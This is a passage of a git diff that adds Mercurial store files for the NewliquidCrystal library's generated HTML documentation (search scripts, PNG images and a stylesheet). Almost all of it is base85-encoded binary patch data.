z?glOWIW$LPzI7N3J0s4gNs?MpypTl8YC1o38m1X>Z}w;GNtSgsZfZhRiy;HI!9lZZ zsBuvLCc!0(YsRbEk@D-12e!miT#lCtdpKpKGQ@HvF-RquXVxMBH%i*L4ZuPPI`n7b ib?#?}A%(J5Z82PA;pc_jk7EX_RobQ8`+fkmbFnI(*5jQ3 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/search.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/search.js.i new file mode 100644 index 0000000000000000000000000000000000000000..5de0b30cd8ed3e366c950fa3b2c36981819353e2 GIT binary patch literal 6369 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 b*D!AJMEBrAsL90n*E;FG7qnv9$F2VZ)yGI= literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/search__l.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/search__l.png.i new file mode 100644 index 0000000000000000000000000000000000000000..b075fbdaf40e015341c0c2da2a1c6dadbaab97ee GIT binary patch literal 669 zcmZQzWME_f1EyF82BsJYn_(JM%%+fT_~X06%wL zE-5Y`kJr<~B?w510I@I!8<3pPqq`MIaTa()7Bet#3xhBt!>l zX=&*D$HBl&&e@4pXc7r+qLd@-sYQka<<=Qc`nmq_=j6Z z=}p=0GoSaI$uOyUyX#$hj#>5O(@$Nj=C&=%3=mPZOI&_A@$=6=Co63BT`m1vxim;{ zS*FrdFUQL!9Et}dx?MFG61GMyRiAuvdD6xoo1)e#%|CzGfX74gprw1vZU%*0Z_VcW zEnn|*xh8P^^~6ZAlGyesLem{|#JDGS+`E=#dUunKL>r?biyrHDoAr@;)91UMvUt9O z&4#1NZDBw~$=XfI3#WX_RGa)TFzx&IOW*&p>(85A92&ZLV(2l6Lk4@KKS^GF{w&7J zlC2=7d&ld-Yes^l-+uqS`0DCXfs5O}R>`&`awzSZ7Z5mQec$6hcixu$kbltW^5}Tc z&Oh%g_-gLkNA15~mUGB$@kecrrrQq-UH~1&;>e)1YlqCgbk=*~A;V{(`}tfxbAo2ej~A8mZomJ2f4bMw;}?TNLPdj4?HA!zl}DT;2NRPyEPWnm$qoLB!MO8)%% z7`XHC_5c6B2~V0NF=H`P3Cj}YPw(C(#U46v9Z|umW}l5`Kk@zVEyur24qY9p)>5%XCjRrzrLV1YP6N%| z&AcS@*3DqeE~d*SGZQ6FcZXRY`{!3yF6!d)U=Fv^uT?S49-4w}58FES#hYHt+ur=V z(l#`-_5!QwQk8R-zG{t_j(mm%Z}~UtSU-6g|5N$b zS6u=z)31M^0p_6xX!nHo-diaz3;Kh@!I|D4Dsb|Jq9{A<^od)gQu&X%Q~loCIH`n B8-xG= literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/searchdata.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/searchdata.js.i new file mode 100644 index 0000000000000000000000000000000000000000..bc50e20ae39d7fb52d0268cf85327d67f78419b1 GIT binary patch literal 345 zcmZQzWME`~fCeD-70TZF9}1LD#J=6lqI2%*Th_#KUWtbA#^fbXHDIb@j<&Z>(1|nN zo@+V$eDzMAIj_xkUgu=Nx%1kdXSD-2JYDrHD8OJtP=J?@m*2?~XHK3yt*@b_7k-J6 zOPZV5v2RotxOhz&=FiL}23=D@rG{_5%5AsyEsK?iOu6cG< zz~=K7PoI*jP&HtxVoq{GLP26eLI+b4D=VwAHtW(OOP);WIWyansW zFDRHOBpz^9L?Mpr$R~lVnM*5As?Pjbd9)yvwe#i5qX|p-8-6G|t(0!N#LyAM@Xt|} F8vybCfouQ( literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/typedefs__66.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/typedefs__66.html.i new file mode 100644 index 0000000000000000000000000000000000000000..0d2600aa86a154fd93df3c21e322d2e8b1445be4 GIT binary patch literal 717 zcmV;;0y6yo0RRC20000000NBw00uAs00000005}}|NsC0|NsAwEauln_U@0?j&D^` zgGvjsenn;g00000000000001ZoUK${Z`v>vedkxW-V2o$oA6O!P4ZCMYDg`u3e~nJ zWRe?_HrSbMp!xT+NuV%^38X#c=K7p#-*fEiUEDqmCcmEVP@)$ZdValm7!DA2DE-kI zPs#B6*_v4 zNg^HLpyt_?z)OHdfu~cQLEzEyTk{s68M3t<_`OV5J{}0Jfoo?{%R0^X+LTnJgWS9_}u~ZexG}rss zH@0GB79%CY9pg=5bMA7*5b36$nl}?sfx?U_<>T?oGn<2LIZ9V3jcjJfBly^+cDS)- zdTGvNF%N=8DWBt@3J4({HR!)NFQAs0##P;EoQi2Do~7CpM~BEeu4Q4<$YUG$P{X2u zk>Kx8L}JZ-EI}_NM`dqiWkp78Rfm<)`)lK}Lgx}}%~Rpa{3PtB4#i?7vaL6S&}qz+ zo~BbV?Ipz8{e?AHr{7_{-mKZ5g>mF|+Kt&&%))M`+w1mQUE?&9b8{i^G-uLmfdi|J zQO2WeBZA5q-`g`3=4u7^W~1Q~NsOmv*=kscezNuw=Bd&kPc*$ zuX!X;6>nMpoCbk+;W)KOgv*8Lk(h?>GO*!IF^uZFXM9OELx@DF$}?8@msslwGH?lA4WYGX=Hb`7- zdu5DBDpo5?T8Xx!w=ZeSsl7-76W9O-Ob`DValT)YC;f2w_jLCC?g}mBvP5@ZKiynU z5w;xXA3AlM%h@IR_IdW@1`*puvlgnZkVRcV={Q%n7~zGK&7Y35*=+0$wd?lLncX{2 zx)#yN!_txmnKqXkPe!TUnWPH=e3HsSmSU1RyYErD6cUiGZHa$Z#d?gVbtOe5ty$j) zjM(ni7)$Xach|UJ3urqb$6sfESuu80k+P_MqE?h++{wNa-9iY7kyI6iMAmf}En1N) zg@BeVY#q_59czn59%_HU8g@~Px|Tg>{OGVc_ijfeI@^9mX;$+du@bs&j34gr;8Ez7 zd9g+X*OBXri>H0)S@$48uGE>d=B5T-RF8NvENt6O9i{$n&b{bXrNl$s`8>#3U8+Nk z(6R2Sl5MZUD21)~T8gEMQCO^R9{D~cK$9r)vnY;v5QQZ7Ut)g@=zU$tR~6H5niFmCOlmTPct8z3 zh`caMAdI=25YFQ;ra)p5)0{$_bIRWEK+}0A{?%%!{`$nJ{{g-UeBTVdZvfvngwF_# z{DhD^BYuzz@Tto@;wBz&aG4vv1b>g_oya$J32h)UnIXr^S_WkoRc25O>HNo=jCg&(qZ0h{RJdj=*Q%?M#Fla z_2&FHNk3TDh}UejRK3}%(W_GE<){9dpFIz5=k|8&w1)?NjH|j5_~P}%-zR!4bq(#Y tiD--}u|W@qu`_%m!RHsFW8-(~GZnY2quF%;u4mWnD60qb(JvTp5!@!@$-Dpn literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/splitbar.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/splitbar.png.i new file mode 100644 index 0000000000000000000000000000000000000000..708e33b601d83c35cb3c6b11d2634eacfadab110 GIT binary patch literal 297 zcmZQzWME`~fR_vmj8;(g*8fl-;I7HMW%cmG0AM_ zU#DH|HTT)EbF$gI8HHuhi$C@l{oK(koxa5`ZEC_#o3-b!F8`VR`qIkTm8JjGBlqXl z#MSPIuRq^j%`T+8eqH^qpY98<&ifT>oqqho>5qmrpG1TdBwxl=&D&i3?bZ78zjll5 z?a;qyzrXt3WFQyC?qt+spg6yKQAd jPB_%hU3~c7jenhap4MzU!fgKG_R~xKIDHvJ(#vH5$@-Cm literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/sync__off.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/sync__off.png.i new file mode 100644 index 0000000000000000000000000000000000000000..58f7c46f9c87e177dd1ec7347428f5caeaa311d0 GIT binary patch literal 918 zcmV;H18MvK0RRC20000000UM400UJ300000006cB|NsC0|NsAX^Yr19o8o)?z>=}V zDEV=$R0uKv00000000000001WiBL{Q4GJ0x0000DNk~Le0000O0000O2nGNE0N{5$ z_y7O{97#k$RCodH-AiaxR~W$Y|Ku@ACNr5hO{PhjnTAORGujx9sbVArW6U51NikM2 zu@NmOR2TNKvCu9m1qpN^f=gSa#Eqqh4}_?+W}{$iDEMrtB3YEAHpXYnRQi3lb7$_{ zxe2jkdpJMl%$>RSJLlZ*oU?W9+J7EkIw7$}tQ3u+Lgb1+#jqF@7sPD zoooXcRj<9B{QZgO7hj7%fQ;%Cpj{jm5rA1J79WaE@v%5&{V@ly)*f;C6&`LaW#Xv# zbh-d-;>Zls1~40aVw?FTx2d()jIKSO2QUY;vpaX5ACl08Qq% z=Earl*}RxwAl;iKbwM_?y~W1%sKG2pLN8Doaw=S1$|E7&C57mE0T`ovUiuwXyzz`LZ>DyiN%C3jt=- z_uWf9WJD-jJLPYm2);PQQdERkwIpY<*^+L~=Y zod1oVu8vs$GOQ!GWDRib<|w0oKV#ea1-v1>n_)4f-j|N@*r^-bzBdkJ)Jr;o`O+8? z8HwyE$}@u89huOV6^QUR2G%aT~#s(eB)h26EDX7#TiZIeuQcK!} zgzBMxFS}3=MG(P0>`RX=D@(z$5z#IbS(LsMWJOS6L5cXV7^SwGT2s^S+?_i!ce;v} zub1BkuV-fN@0@dg=bTqd$MG(J$@oOAs1{+7C#>QhabNU^YoZUpj19m5YFoaoxI&oSA0H(nyeh~HIfapy9Fat=9R`J&i9-ewF5Wk5-lO?DT zXQr4ofay3T+Vy{|73+8E*;UWK0+Z)dg-bJx%x}nzOjh5O(Eu_ z&1=vem(0(O8Ppk@-@8*(!lW`-0Vi*OLYCMcfWM zHmhYKQ7E$6J(j;kdc&qQOW3^DxR75Ak1_IkLaIvZ3$a*?>^U|T<*I5-UN?IO`Qu6- z(f2XEX+R}7CpS&0UtCd~Bhyuk%kh8x|9SNZS8ojf$p{p9IJ|SEcCV`JeAiQM+!+K6 zabIl<-RTMLJ|1G|)fnwtN?0ttG+R{qds3t8y!42^{$YT0-D(7CdV0kt#q7woX-S?B zj`DZUb08U^fR~NcOZfHTLtc)I1DIK@5~v%s$t5XyUzTS9X?-X!HZ` z1b~U_>afxir~^9_*hBO95gqM|gNX8-^I07*qoM6N<$g3JG>fdBvi literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tab__a.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tab__a.png.i new file mode 100644 index 0000000000000000000000000000000000000000..00851d7b7c63329a4e98173b69a1e87963cfef51 GIT binary patch literal 412 zcmZQzWME`~fL3OhEFu*zsr}73}Ha7*fIbcJ6M@1_u$A^5-WP&gqz;^{mNv#*KPU zw)f}U+Wz|RTCHo}n0My2-%K$Hu5B9+vP_!LB74J6?a`iig$XCup4?Y^b(=-qyM6Ec z%gc2CGrV$SGKti@SPL|s!PC{xWt~$(6Nt?K@&*G#KM?l;F~}`jftUg0pPdC&OK%ps zb!XIC&e|S5EjG>Mx;#h@28i-ZD9kh7Tnz>S&g%I~G`c#XkM4b-dZ*&Q^39cNpL1~j zoO|%w=VkKY%TkqjjY~K^B^6|hwI}TP;rh5PhTlbQue{~@+Yeq$D)-&K|J(oC`pB>G LVDHR(jN%;tmr9M> literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tab__b.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tab__b.png.i new file mode 100644 index 0000000000000000000000000000000000000000..fb96b247046d9798b34f62361abf87be089e0f51 GIT binary patch literal 477 zcmZQzWME`~fXzT^6O_H;KNP6>$%w=}HG3<@wLt2KRMpNYrV%HgYQR)!XMmqOFP9V- zkjLxk;SvO-K?bUDFagQqV#lL_RHdhjV@L(#+q<`U4=G4AT(qwV4!hj3CCN!SVBKDe z&7J=HtWM5!vAZvyTOIt{^R4<$xhGW`f{Ih;hVVPx>#S5>GB^Bv!L;SZn0osO?J1DHYH64YQCk zkp{`Z08w5pfO*-MuUSFF_2Kc|7q0Bs!B?8_=)jgRgA4Ktj@4R~u*bR_+%%zh|C4o1 z+y0&|UHYSDQpHcvcY6=m{g)Is+|92hy&(691^b=gn-?qY_#6oREh8*A>)s}TBbj`z i)4HDe7q={$B-xl(@!--c`ODr?ew*qy8kxKU&TV1aADP&tN>lG5@ zdoE?4`Qee2dDX)f(XxQV`SWJ{dwl+bS5NK9W12U1m51$a`noP5F>~6r-la=t&W`Hr znAH=o`Q;CG24|%QF9K{EfKFoYboFyt=akR{Vl#le&cLt2aJ>q|`s|>yPLI@yzXu9!Id1Ri6HLX`}7- zFz2+iXU{~cH+<{u;`qEJ==mJg_^;3Z_bvLieM2uFyWsJn()4W__URd7F`0HX#UR(h Gd<+1MRKE}a literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tab__s.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tab__s.png.i new file mode 100644 index 0000000000000000000000000000000000000000..3802c5364696930c57c59585eaa1c5267e677fae GIT binary patch literal 503 zcmZQzWME`~fPFw}FO$D*)b_WOmdKI;Vst5SszyZw7{)K)eHpL5|-F#0;PSc-*99DtIC1 zcBWZ?FaN_U=bBwFE&$2F08zfLhxxvdv&n(M;o@TZKp~OVB}%gv0ewGldRN*svuNop z9*3U-U333=jYbSwp(7R;QqQt@I>%wJZJ$KSo1Di3lr G%;Ny*x4HZP literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tabs.css.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tabs.css.i new file mode 100644 index 0000000000000000000000000000000000000000..18897e99422627476ea1a80f20be3880d4c4f7bb GIT binary patch literal 581 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 